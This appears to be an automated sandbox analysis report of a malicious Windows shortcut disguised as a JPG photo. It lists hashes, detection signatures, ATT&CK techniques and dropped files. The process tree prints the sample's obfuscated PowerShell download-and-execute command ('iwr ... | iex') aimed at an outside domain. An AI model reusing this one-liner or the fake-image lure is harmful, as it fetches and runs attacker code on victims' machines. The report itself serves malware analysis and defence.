d7f0aa65c93df80823735b83693a887d778063f64cee970acd8b3769da660593

Analysis

max time kernel
148s
max time network
153s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
28/07/2026, 07:31

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
IMG_20260728_025126.jpg.lnk
Size 1KB
Sample260728-jch5ms11cs
SHA256 d7f0aa65c93df80823735b83693a887d778063f64cee970acd8b3769da660593
MD5 c3ccf20130c8c1f8daad9033af3505d6
SHA1 2f72291597768c67e60cc001497f1e8a2d802170
SHA512 78f40c27fdbf9ecb4200527d688d59a771a7715146f5600400d9c4dacbb087031c351be46aba40c812a3338179f957ea22ea6e555498ef11ec6ef4b92e2c2416
TLSH
T1FE21F1211BF20329D6BB8B755872631183317A0ADA55CFDF13C082949564210F86CF3B
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
3	944	powershell.exe
4	944	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
592	cmd.exe

Suspicious behavior: EnumeratesProcesses 43 IoCs

pid	Process
944	powershell.exe
944	powershell.exe
944	powershell.exe
944	powershell.exe
944	powershell.exe
944	powershell.exe
944	powershell.exe
944	powershell.exe
944	powershell.exe
944	powershell.exe
944	powershell.exe
944	powershell.exe
944	powershell.exe
944	powershell.exe
944	powershell.exe
944	powershell.exe
944	powershell.exe
944	powershell.exe
944	powershell.exe
944	powershell.exe
944	powershell.exe
944	powershell.exe
944	powershell.exe
944	powershell.exe
944	powershell.exe
944	powershell.exe
944	powershell.exe
944	powershell.exe
944	powershell.exe
944	powershell.exe
944	powershell.exe
944	powershell.exe
944	powershell.exe
944	powershell.exe
944	powershell.exe
944	powershell.exe
944	powershell.exe
944	powershell.exe
944	powershell.exe
944	powershell.exe
944	powershell.exe
944	powershell.exe
944	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	944	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 592 wrote to memory of 944	592	cmd.exe	89
PID 944 wrote to memory of 4576	944	powershell.exe	90
PID 4576 wrote to memory of 5604	4576	csc.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260728_025126.jpg.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:592
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('reser','v','photoinstayno','w.shop')[0,1,2,3] -join $KzKNo) -useb | iex
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:944
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\wrwiik0r\wrwiik0r.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4576
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB26E.tmp" "c:\Users\Admin\AppData\Local\Temp\wrwiik0r\CSC58FE5BFB12824E1BA1CEC284D5D92A2B.TMP"
      4⤵
      PID:5604

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RESB26E.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESB26E.tmp
Size 1KB
SHA256 d67835050ae7cbe4277457d4e1a271fa430de5dede682500b96788df64b1576f
MD5 441328033bf57911d042d464c206a7a4
SHA1 45e5e46d3492a14eb16a15271dda83c1c981cb7e
SHA512 8b1e66e73215647623aa500cbe8541f7496dd3a96008a0327a391d0ef57120ccdbaa5fa0b825203f09da29a013d76a3e293af414af1a082aa44d35f29b85981a
TLSH
T129218C0693E9470FF0B7573169F6272F9278FD64EFA6579A854042281C51144EEE0E72
MD5 SHA1 SHA512 TLSH

Submit Download

wrwiik0r.dll

Path C:\Users\Admin\AppData\Local\Temp\wrwiik0r\wrwiik0r.dll
Size 3KB
SHA256 26af53ed3620ae457955fbb604489377e8f5304620e16d3078472039c2f4ed09
MD5 1617a7dbb04409b8f58d3788280cadb3
SHA1 65dec38255b81b0a357fec6ae01501b6c99b80d4
SHA512 bbbaa22523eb411be1054fe3a1368398cf474a21984f694789d2bc4e00adfed8789780aa5fcea47778ae7b176cc5153f50f3dbb1b5dd4594ffd7487760bc5ba5
TLSH
T1E951CC1AA3EC092BE8770730AFE3076727B4F8109FB653AD59800218AC207549D35FB1
MD5 SHA1 SHA512 TLSH

Submit Download

CSC58FE5BFB12824E1BA1CEC284D5D92A2B.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\wrwiik0r\CSC58FE5BFB12824E1BA1CEC284D5D92A2B.TMP
Size 652B
SHA256 2d3734703890470ea85d6eb419bbed2352dd623fa93d86e3fe1a4bd184a4b24d
MD5 ffba03e6c0f0fab89de5489d5f5b30e9
SHA1 a7fc31852d15cc37b5f1a8436c50b60a695d3a37
SHA512 788b9b39dd7fce3005bac91d9cf6cf54fd977c309e4f673b8dcb79621a040ebdef67f2c9a4d15f48749c1df9e9b1f7aa41a008d62f74e9353b37411617b341d1
TLSH
T121F05E0A63F8020EF4F74B30BDF6536791A8BC64DE3293ED1540031928745108962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

wrwiik0r.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\wrwiik0r\wrwiik0r.0.cs
Size 203B
SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
MD5 171a88ab4fad87acfd2e5032eb0c6113
SHA1 754de0e7656c558d335710fc41cbf196d39c1a19
SHA512 87ef6ac53a00d21f2df4d81ec5956861a4b539b10f5855345aa068c0d9d971f3329477e485471eb40b9eeea59f01fd3c42c4ab2f25e71d825cbf3586be0206b8
TLSH
T13AD023147BF36D34100304130C4661FCB713812B169E26057DF81300CF4700A0275919
MD5 SHA1 SHA512 TLSH

Submit Download

wrwiik0r.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\wrwiik0r\wrwiik0r.cmdline
Size 369B
SHA256 7db32b3e0ea0fac45ddc16950138f2894e6fe82de3a19ce0194ed345a8499dbb
MD5 708d865c150a492249707fbfc4bfc8b4
SHA1 b1ba408b9ff5ac02e12ed4961d8028e564c6da68
SHA512 026a0b1a757b7dbd3cf57cfb53a877534a9a9c3431423b1dfbdbbe94a7cdc554b7df1d88b7963950267e40dccb10743f5472567c4065f99462fbd2169f93ca56
TLSH
T1DBE0202E5256CB7F15FD11172969C5BCC27247472D497F8C51A0445DF017008EBD1B77
MD5 SHA1 SHA512 TLSH

Submit Download

memory/944-9-0x00007FFE99A80000-0x00007FFE9A424000-memory.dmp

Download

memory/944-8-0x00007FFE99A80000-0x00007FFE9A424000-memory.dmp

Download

memory/944-11-0x00007FFE99A80000-0x00007FFE9A424000-memory.dmp

Download

memory/944-12-0x00007FFE99A80000-0x00007FFE9A424000-memory.dmp

Download

memory/944-13-0x00007FFE99A80000-0x00007FFE9A424000-memory.dmp

Download

memory/944-14-0x00007FFE99A80000-0x00007FFE9A424000-memory.dmp

Download

memory/944-15-0x00007FFE99A80000-0x00007FFE9A424000-memory.dmp

Download

memory/944-16-0x00007FFE99A80000-0x00007FFE9A424000-memory.dmp

Download

memory/944-2-0x00007FFE99C0F000-0x00007FFE99C10000-memory.dmp

Download

memory/944-10-0x00007FFE99A80000-0x00007FFE9A424000-memory.dmp

Download

memory/944-7-0x00007FFE99A80000-0x00007FFE9A424000-memory.dmp

Download

memory/944-29-0x00000165EB3F0000-0x00000165EB3F8000-memory.dmp

Download

memory/944-6-0x00007FFE99A80000-0x00007FFE9A424000-memory.dmp

Download

memory/944-3-0x00000165EB420000-0x00000165EB442000-memory.dmp

Download

memory/944-30-0x00007FFE99A80000-0x00007FFE9A424000-memory.dmp

Download

memory/944-31-0x00007FFE99A80000-0x00007FFE9A424000-memory.dmp

Download

memory/944-32-0x00007FFE99A80000-0x00007FFE9A424000-memory.dmp

Download

memory/944-34-0x00007FFE99A80000-0x00007FFE9A424000-memory.dmp

Download